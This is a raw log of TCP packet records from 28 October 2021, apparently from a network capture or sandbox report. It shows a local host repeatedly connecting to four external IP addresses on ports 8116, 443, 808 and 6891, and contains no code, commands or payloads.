Oct 28, 2021 04:52:59.323834896 CEST	8116	50026	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.323940992 CEST	50026	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.323976994 CEST	50026	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.326319933 CEST	50026	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.345773935 CEST	50027	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.345819950 CEST	443	50027	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:59.345925093 CEST	50027	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.346470118 CEST	50027	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.346494913 CEST	443	50027	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:59.385070086 CEST	8116	50026	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.432883024 CEST	50028	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.432938099 CEST	443	50028	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:59.433041096 CEST	50028	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.433535099 CEST	50028	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.433557034 CEST	443	50028	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:59.844439983 CEST	443	50027	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:59.844651937 CEST	50027	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.845408916 CEST	50027	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.845428944 CEST	443	50027	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:59.849776030 CEST	50027	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.849803925 CEST	443	50027	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:59.849939108 CEST	50027	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.849953890 CEST	443	50027	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:59.955069065 CEST	443	50028	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:59.955214977 CEST	50028	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.955852985 CEST	50028	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.955868006 CEST	443	50028	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:59.960202932 CEST	50028	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.960220098 CEST	443	50028	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:59.960342884 CEST	50028	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:59.960356951 CEST	443	50028	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:00.546013117 CEST	443	50027	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:00.546103001 CEST	443	50027	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:00.546233892 CEST	50027	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:00.569057941 CEST	50027	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:00.569102049 CEST	443	50027	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:00.672071934 CEST	443	50028	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:00.672144890 CEST	443	50028	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:00.672216892 CEST	50028	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:00.672240973 CEST	50028	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:00.675462961 CEST	50028	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:00.675494909 CEST	443	50028	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:00.783531904 CEST	50029	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:00.872806072 CEST	50030	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:00.946798086 CEST	808	50029	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:00.949073076 CEST	50029	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:00.951379061 CEST	50029	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.039577007 CEST	808	50030	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.048957109 CEST	50030	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.051547050 CEST	50030	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.114509106 CEST	808	50029	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.114723921 CEST	808	50029	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.114793062 CEST	50029	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.115310907 CEST	50029	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.127011061 CEST	50029	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.127140045 CEST	50029	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.218374968 CEST	808	50030	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.218517065 CEST	808	50030	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.218630075 CEST	50030	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.225245953 CEST	50030	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.229085922 CEST	50030	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.229202032 CEST	50030	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.278506041 CEST	808	50029	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.290178061 CEST	808	50029	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.290200949 CEST	808	50029	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.290210962 CEST	808	50029	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.290225029 CEST	808	50029	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.392040968 CEST	808	50030	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.395729065 CEST	808	50030	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.395749092 CEST	808	50030	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.395801067 CEST	808	50030	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.395842075 CEST	808	50030	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.671931028 CEST	808	50029	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.671952963 CEST	808	50029	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.678170919 CEST	50029	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.688043118 CEST	50029	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.780087948 CEST	808	50030	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.780117989 CEST	808	50030	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.780194044 CEST	50030	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.783111095 CEST	50030	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.783288956 CEST	50030	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:01.828905106 CEST	50031	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:01.851198912 CEST	808	50029	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.949958086 CEST	808	50030	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:01.994182110 CEST	6891	50031	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:01.995201111 CEST	50031	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:01.996439934 CEST	50031	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.003407001 CEST	50032	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.161722898 CEST	6891	50031	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.161784887 CEST	6891	50031	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.168839931 CEST	6891	50032	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.171304941 CEST	50031	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.171354055 CEST	50032	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.175981998 CEST	50031	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.179855108 CEST	50031	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.179913044 CEST	50032	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.179960966 CEST	50031	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.345170975 CEST	6891	50031	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.345195055 CEST	6891	50032	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.345202923 CEST	6891	50031	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.347213030 CEST	6891	50032	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.348181009 CEST	50032	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.348274946 CEST	50032	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.352147102 CEST	50032	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.352261066 CEST	50032	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.382164955 CEST	6891	50031	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.517476082 CEST	6891	50032	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.517515898 CEST	6891	50032	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.727046967 CEST	6891	50031	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.727080107 CEST	6891	50031	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.729444981 CEST	50031	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.737551928 CEST	50031	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.895095110 CEST	6891	50032	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.895123005 CEST	6891	50032	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.895349979 CEST	50032	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.895436049 CEST	50032	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.902771950 CEST	6891	50031	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:02.903567076 CEST	50032	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:02.930866957 CEST	50033	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:02.979176044 CEST	8116	50033	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:02.980158091 CEST	50033	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:02.981997967 CEST	50033	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.029989004 CEST	8116	50033	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.030076027 CEST	50034	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.030186892 CEST	8116	50033	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.030245066 CEST	50033	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.030781031 CEST	50033	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.034578085 CEST	50033	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.034672022 CEST	50033	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.068842888 CEST	6891	50032	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:03.082752943 CEST	8116	50033	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.083250999 CEST	8116	50033	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.090121031 CEST	8116	50034	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.090357065 CEST	50034	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.091221094 CEST	50034	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.151292086 CEST	8116	50034	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.151364088 CEST	8116	50034	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.151546955 CEST	50034	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.153048992 CEST	50034	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.157777071 CEST	50034	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.157912970 CEST	50034	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.217866898 CEST	8116	50034	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.217901945 CEST	8116	50034	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.280390024 CEST	8116	50033	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.280422926 CEST	8116	50033	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.281312943 CEST	50033	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.287004948 CEST	50033	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.335074902 CEST	8116	50033	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.390408039 CEST	8116	50034	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.390434027 CEST	8116	50034	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.395507097 CEST	50034	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.398291111 CEST	50034	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:03.404901028 CEST	50035	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:03.404959917 CEST	443	50035	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:03.405042887 CEST	50035	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:03.405617952 CEST	50035	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:03.405637026 CEST	443	50035	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:03.458236933 CEST	8116	50034	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:03.515119076 CEST	50036	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:03.515167952 CEST	443	50036	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:03.515295982 CEST	50036	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:03.515820026 CEST	50036	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:03.515836954 CEST	443	50036	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:03.889300108 CEST	443	50035	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:03.889399052 CEST	50035	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:03.890234947 CEST	50035	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:03.890252113 CEST	443	50035	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:03.895809889 CEST	50035	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:03.895836115 CEST	443	50035	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:03.895927906 CEST	50035	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:03.895939112 CEST	443	50035	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:04.037133932 CEST	443	50036	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:04.037296057 CEST	50036	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:04.037853956 CEST	50036	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:04.037872076 CEST	443	50036	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:04.043658018 CEST	50036	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:04.043680906 CEST	443	50036	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:04.043797016 CEST	50036	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:04.043807983 CEST	443	50036	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:04.586463928 CEST	443	50035	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:04.586551905 CEST	443	50035	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:04.590260983 CEST	50035	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:04.598140955 CEST	50035	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:04.598181963 CEST	443	50035	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:04.716680050 CEST	50037	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:04.753439903 CEST	443	50036	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:04.753541946 CEST	443	50036	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:04.753619909 CEST	50036	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:04.753643990 CEST	50036	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:04.757081985 CEST	50036	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:04.757111073 CEST	443	50036	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:04.875123978 CEST	808	50037	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:04.875310898 CEST	50037	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:04.876032114 CEST	50037	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.015134096 CEST	50038	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.035689116 CEST	808	50037	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.035717010 CEST	808	50037	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.036971092 CEST	50037	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.037576914 CEST	50037	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.041486979 CEST	50037	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.041604996 CEST	50037	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.175540924 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.190710068 CEST	50038	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.195755005 CEST	808	50037	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.199599981 CEST	808	50037	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.199628115 CEST	808	50037	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.199640036 CEST	808	50037	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.199655056 CEST	808	50037	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.231009960 CEST	50038	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.391458035 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.391647100 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.392131090 CEST	50038	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.392838001 CEST	50038	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.396687031 CEST	50038	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.396783113 CEST	50038	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.553041935 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.556936026 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.556963921 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.556978941 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.556996107 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.557010889 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.581428051 CEST	808	50037	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.581471920 CEST	808	50037	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.582150936 CEST	50037	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.582828045 CEST	50037	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.595843077 CEST	50037	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.728059053 CEST	50039	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:05.754043102 CEST	808	50037	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.893423080 CEST	6891	50039	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:05.898919106 CEST	50039	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:05.915978909 CEST	50039	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:05.938522100 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.938559055 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:05.948503971 CEST	50038	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:05.957115889 CEST	50038	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:06.078221083 CEST	50040	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.081420898 CEST	6891	50039	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.081459045 CEST	6891	50039	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.086862087 CEST	50039	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.094485044 CEST	50039	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.099452019 CEST	50039	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.099572897 CEST	50039	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.117588043 CEST	808	50038	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:06.243724108 CEST	6891	50040	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.243907928 CEST	50040	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.245090961 CEST	50040	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.264760971 CEST	6891	50039	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.264781952 CEST	6891	50039	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.302117109 CEST	6891	50039	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.410370111 CEST	6891	50040	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.410459995 CEST	6891	50040	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.411012888 CEST	50040	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.412489891 CEST	50040	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.416165113 CEST	50040	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.416263103 CEST	50040	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.581572056 CEST	6891	50040	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.581600904 CEST	6891	50040	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.581619978 CEST	6891	50040	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.646460056 CEST	6891	50039	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.646500111 CEST	6891	50039	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.653409004 CEST	50039	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.662261963 CEST	50039	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.813502073 CEST	50041	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:06.827703953 CEST	6891	50039	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.867459059 CEST	8116	50041	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:06.872339010 CEST	50041	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:06.874432087 CEST	50041	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:06.928478956 CEST	8116	50041	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:06.928663969 CEST	8116	50041	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:06.928756952 CEST	50041	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:06.932140112 CEST	50041	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:06.936085939 CEST	50041	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:06.936197042 CEST	50041	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:06.979785919 CEST	6891	50040	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.979809999 CEST	6891	50040	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:06.986370087 CEST	50040	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.989881992 CEST	8116	50041	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:06.989909887 CEST	50040	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:06.990534067 CEST	8116	50041	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.027604103 CEST	8116	50041	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.120707989 CEST	50042	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:07.155184984 CEST	6891	50040	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:07.174962044 CEST	8116	50042	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.175126076 CEST	50042	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:07.175839901 CEST	50042	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:07.181627989 CEST	8116	50041	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.181654930 CEST	8116	50041	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.184035063 CEST	50041	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:07.194058895 CEST	50041	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:07.229692936 CEST	8116	50042	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.229897022 CEST	8116	50042	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.232803106 CEST	50042	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:07.233388901 CEST	50042	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:07.237170935 CEST	50042	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:07.237267971 CEST	50042	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:07.247813940 CEST	8116	50041	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.291213989 CEST	8116	50042	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.291811943 CEST	8116	50042	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.316715956 CEST	50043	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:07.316768885 CEST	443	50043	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:07.317159891 CEST	50043	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:07.317930937 CEST	50043	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:07.317946911 CEST	443	50043	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:07.332010984 CEST	8116	50042	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.476012945 CEST	8116	50042	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.476047039 CEST	8116	50042	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.478029966 CEST	50042	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:07.481812000 CEST	50042	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:07.535892010 CEST	8116	50042	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:07.601349115 CEST	50044	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:07.601387978 CEST	443	50044	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:07.601535082 CEST	50044	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:07.602796078 CEST	50044	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:07.602817059 CEST	443	50044	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:07.804737091 CEST	443	50043	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:07.811168909 CEST	50043	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:07.814152002 CEST	50043	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:07.814174891 CEST	443	50043	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:07.819287062 CEST	50043	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:07.819302082 CEST	443	50043	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:07.819430113 CEST	50043	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:07.819442987 CEST	443	50043	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:08.086023092 CEST	443	50044	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:08.092560053 CEST	50044	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:08.093601942 CEST	50044	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:08.093612909 CEST	443	50044	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:08.099754095 CEST	50044	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:08.099772930 CEST	443	50044	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:08.099910021 CEST	50044	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:08.099924088 CEST	443	50044	192.46.210.220	192.168.2.5
